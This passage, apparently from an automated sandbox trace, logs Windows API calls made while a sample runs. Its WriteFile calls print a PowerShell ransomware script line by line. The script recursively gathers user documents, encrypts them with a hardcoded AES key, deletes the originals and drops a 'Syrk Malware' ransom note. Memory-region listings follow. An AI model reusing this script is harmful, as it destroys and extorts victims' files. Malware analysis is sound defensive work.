lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" if($FileStreamWriter){$FileStreamWriter.Close()} } } } } \r\n", lpUsedDefaultChar=0x0) returned 81 [0063.543] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x1cd0a4, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd0a4*=0x50, lpOverlapped=0x0) returned 1 [0063.543] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.545] _close (_FileHandle=3) returned 0 [0063.546] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb708 [0063.546] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.546] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.546] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.546] GetFileType (hFile=0x7) returned 0x2 [0063.546] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.546] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd28c | out: lpMode=0x1cd28c) returned 1 [0063.546] _dup (_FileHandle=1) returned 3 [0063.547] _close (_FileHandle=1) returned 0 [0063.547] _wcsicmp (_String1="cry.ps1", _String2="con") returned 3 [0063.547] CreateFileW (lpFileName="cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd25c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.548] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.548] GetConsoleTitleW (in: lpConsoleTitle=0x1cd08c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.548] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x68) returned 0x602d70 [0063.548] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x602d70, Size=0x34) returned 0x5e8c80 [0063.548] GetProcessHeap () returned 0x5d0000 [0063.548] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e8c80) returned 0x34 [0063.548] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x42) returned 0x609218 [0063.549] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd054 | out: _Buffer="Import-Module Cipher \r\n") returned 24 [0063.549] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.549] GetFileType (hFile=0x1c) returned 0x1 [0063.549] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.549] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Import-Module Cipher \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Import-Module Cipher \r\n", lpUsedDefaultChar=0x0) returned 25 [0063.549] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x1cd040, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd040*=0x18, lpOverlapped=0x0) returned 1 [0063.553] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.588] _close (_FileHandle=3) returned 0 [0063.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb728 [0063.589] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.589] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.589] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.589] GetFileType (hFile=0x7) returned 0x2 [0063.590] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.590] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd228 | out: lpMode=0x1cd228) returned 1 [0063.590] _dup (_FileHandle=1) returned 3 [0063.590] _close (_FileHandle=1) returned 0 [0063.591] _wcsicmp (_String1="cry.ps1", _String2="con") returned 3 [0063.591] CreateFileW (lpFileName="cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd1f8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.591] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.591] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.591] GetFileType (hFile=0x1c) returned 0x1 [0063.591] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x18 [0063.591] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd210*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd210*=0) returned 0x17 [0063.591] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd208, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd204, lpOverlapped=0x0 | out: lpBuffer=0x1cd208*, lpNumberOfBytesRead=0x1cd204*=0x1, lpOverlapped=0x0) returned 1 [0063.591] GetConsoleTitleW (in: lpConsoleTitle=0x1cd028, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3d4) returned 0x609268 [0063.592] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x609268, Size=0x1b8) returned 0x609268 [0063.592] GetProcessHeap () returned 0x5d0000 [0063.592] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x609268) returned 0x1b8 [0063.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1f8) returned 0x609428 [0063.592] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ccff0 | out: _Buffer="$files = get-childitem $home -recurse -Include *.gif, *.sln, *.docx, *.php, *.psd, *.ico, *.mov, *.xlsx, *.jpg, *.xls, *.doc, *.pdf, *.wav, *.pptx, *.ppt, *.txt, *.png, *.bmp, *.rar, *.zip, *.mp3, *.mp4, *.avi | where {! $_.PSIsContainer} \r\n") returned 243 [0063.592] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.592] GetFileType (hFile=0x1c) returned 0x1 [0063.592] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.592] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="$files = get-childitem $home -recurse -Include *.gif, *.sln, *.docx, *.php, *.psd, *.ico, *.mov, *.xlsx, *.jpg, *.xls, *.doc, *.pdf, *.wav, *.pptx, *.ppt, *.txt, *.png, *.bmp, *.rar, *.zip, *.mp3, *.mp4, *.avi | where {! $_.PSIsContainer} \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$files = get-childitem $home -recurse -Include *.gif, *.sln, *.docx, *.php, *.psd, *.ico, *.mov, *.xlsx, *.jpg, *.xls, *.doc, *.pdf, *.wav, *.pptx, *.ppt, *.txt, *.png, *.bmp, *.rar, *.zip, *.mp3, *.mp4, *.avi | where {! $_.PSIsContainer} \r\n", lpUsedDefaultChar=0x0) returned 244 [0063.592] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0xf3, lpNumberOfBytesWritten=0x1ccfdc, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ccfdc*=0xf3, lpOverlapped=0x0) returned 1 [0063.592] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.594] _close (_FileHandle=3) returned 0 [0063.595] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb748 [0063.595] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.595] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.595] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.595] GetFileType (hFile=0x7) returned 0x2 [0063.595] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.595] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd1c4 | out: lpMode=0x1cd1c4) returned 1 [0063.595] _dup (_FileHandle=1) returned 3 [0063.596] _close (_FileHandle=1) returned 0 [0063.596] _wcsicmp (_String1="cry.ps1", _String2="con") returned 3 [0063.596] CreateFileW (lpFileName="cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd194, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.596] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.596] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.596] GetFileType (hFile=0x1c) returned 0x1 [0063.596] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10b [0063.597] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd1ac*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd1ac*=0) returned 0x10a [0063.597] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd1a4, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd1a0, lpOverlapped=0x0 | out: lpBuffer=0x1cd1a4*, lpNumberOfBytesRead=0x1cd1a0*=0x1, lpOverlapped=0x0) returned 1 [0063.597] GetConsoleTitleW (in: lpConsoleTitle=0x1ccfc4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x280) returned 0x609628 [0063.597] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x609628, Size=0x13e) returned 0x609628 [0063.597] GetProcessHeap () returned 0x5d0000 [0063.597] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x609628) returned 0x13e [0063.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x14e) returned 0x609770 [0063.597] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ccf8c | out: _Buffer="foreach ($file in $files) { Protect-File $file -Algorithm AES -KeyAsPlainText NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q= -Suffix '.Syrk' -RemoveSource } \r\n") returned 158 [0063.597] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.597] GetFileType (hFile=0x1c) returned 0x1 [0063.597] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.597] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="foreach ($file in $files) { Protect-File $file -Algorithm AES -KeyAsPlainText NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q= -Suffix '.Syrk' -RemoveSource } \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="foreach ($file in $files) { Protect-File $file -Algorithm AES -KeyAsPlainText NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q= -Suffix '.Syrk' -RemoveSource } \r\n", lpUsedDefaultChar=0x0) returned 159 [0063.597] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x9e, lpNumberOfBytesWritten=0x1ccf78, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ccf78*=0x9e, lpOverlapped=0x0) returned 1 [0063.598] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.599] _close (_FileHandle=3) returned 0 [0063.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb768 [0063.600] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.600] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.600] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.600] GetFileType (hFile=0x7) returned 0x2 [0063.600] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.600] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd160 | out: lpMode=0x1cd160) returned 1 [0063.600] _dup (_FileHandle=1) returned 3 [0063.601] _close (_FileHandle=1) returned 0 [0063.601] _wcsicmp (_String1="cry.ps1", _String2="con") returned 3 [0063.601] CreateFileW (lpFileName="cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd130, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.601] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.601] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.601] GetFileType (hFile=0x1c) returned 0x1 [0063.601] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1a9 [0063.602] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd148*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd148*=0) returned 0x1a8 [0063.602] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd140, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd13c, lpOverlapped=0x0 | out: lpBuffer=0x1cd140*, lpNumberOfBytesRead=0x1cd13c*=0x1, lpOverlapped=0x0) returned 1 [0063.602] GetConsoleTitleW (in: lpConsoleTitle=0x1ccf60, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x27c) returned 0x6098c8 [0063.604] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6098c8, Size=0x13a) returned 0x6098c8 [0063.604] GetProcessHeap () returned 0x5d0000 [0063.604] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x6098c8) returned 0x13a [0063.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x14c) returned 0x609a10 [0063.604] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ccf28 | out: _Buffer=" echo 'Your personal files have been encrypted by Syrk Malware, send an email to panda831@protonmail.com to recover them.' > $home\\Desktop\\Readme_now.txt \r\n") returned 157 [0063.604] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.604] GetFileType (hFile=0x1c) returned 0x1 [0063.604] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" echo 'Your personal files have been encrypted by Syrk Malware, send an email to panda831@protonmail.com to recover them.' > $home\\Desktop\\Readme_now.txt \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" echo 'Your personal files have been encrypted by Syrk Malware, send an email to panda831@protonmail.com to recover them.' > $home\\Desktop\\Readme_now.txt \r\n", lpUsedDefaultChar=0x0) returned 158 [0063.604] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x9d, lpNumberOfBytesWritten=0x1ccf14, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ccf14*=0x9d, lpOverlapped=0x0) returned 1 [0063.604] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.606] _close (_FileHandle=3) returned 0 [0063.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb788 [0063.607] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.607] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.607] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.607] GetFileType (hFile=0x7) returned 0x2 [0063.607] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.607] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd0fc | out: lpMode=0x1cd0fc) returned 1 [0063.607] _dup (_FileHandle=1) returned 3 [0063.608] _close (_FileHandle=1) returned 0 [0063.608] _wcsicmp (_String1="cry.ps1", _String2="con") returned 3 [0063.608] CreateFileW (lpFileName="cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd0cc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.608] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.608] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.608] GetFileType (hFile=0x1c) returned 0x1 [0063.609] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x246 [0063.609] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd0e4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd0e4*=0) returned 0x245 [0063.609] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd0dc, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd0d8, lpOverlapped=0x0 | out: lpBuffer=0x1cd0dc*, lpNumberOfBytesRead=0x1cd0d8*=0x1, lpOverlapped=0x0) returned 1 [0063.609] GetConsoleTitleW (in: lpConsoleTitle=0x1ccefc, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xa0) returned 0x609b68 [0063.609] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x609b68, Size=0x50) returned 0x609b68 [0063.609] GetProcessHeap () returned 0x5d0000 [0063.609] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x609b68) returned 0x50 [0063.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x5e) returned 0x609bc0 [0063.609] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ccec4 | out: _Buffer="start $home\\Desktop\\Readme_now.txt \r\n") returned 38 [0063.609] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.609] GetFileType (hFile=0x1c) returned 0x1 [0063.609] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="start $home\\Desktop\\Readme_now.txt \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="start $home\\Desktop\\Readme_now.txt \r\n", lpUsedDefaultChar=0x0) returned 39 [0063.609] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1cceb0, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cceb0*=0x26, lpOverlapped=0x0) returned 1 [0063.610] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.611] _close (_FileHandle=3) returned 0 [0063.612] GetConsoleTitleW (in: lpConsoleTitle=0x1ccefc, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xc) returned 0x5e5e28 [0063.612] GetProcessHeap () returned 0x5d0000 [0063.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5eb7a8 [0063.612] exit (_Code=0) Process: id = "5" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x3c7a9000" os_pid = "0x9a8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x980" cmd_line = "\"C:\\Windows\\sysnative\\cmd\" /c \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat C:\\Users\\Public\\Documents\\startSF.exe\"" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1593 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1594 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1595 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1596 start_va = 0x1d0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1597 start_va = 0x4ac70000 end_va = 0x4acc8fff monitored = 1 entry_point = 0x4ac790b4 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 1598 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1599 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1600 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1601 start_va = 0x7fffc000 end_va = 0x7fffcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fffc000" filename = "" Region: id = 1602 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1603 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1604 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1605 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1607 start_va = 0x2d0000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1608 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1609 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1610 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1611 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1612 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1613 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1614 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1615 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1616 start_va = 0x7fefb490000 end_va = 0x7fefb497fff monitored = 0 entry_point = 0x7fefb4911a0 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1617 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1618 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1619 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1620 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1621 start_va = 0xc0000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1622 start_va = 0x2d0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1623 start_va = 0x460000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 1624 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1625 start_va = 0x100000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1626 start_va = 0x560000 end_va = 0x6e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 1627 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1628 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1629 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1630 start_va = 0x6f0000 end_va = 0x870fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 1631 start_va = 0x880000 end_va = 0x1c7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 1632 start_va = 0xc0000 end_va = 0xdffff monitored = 0 entry_point = 0x0 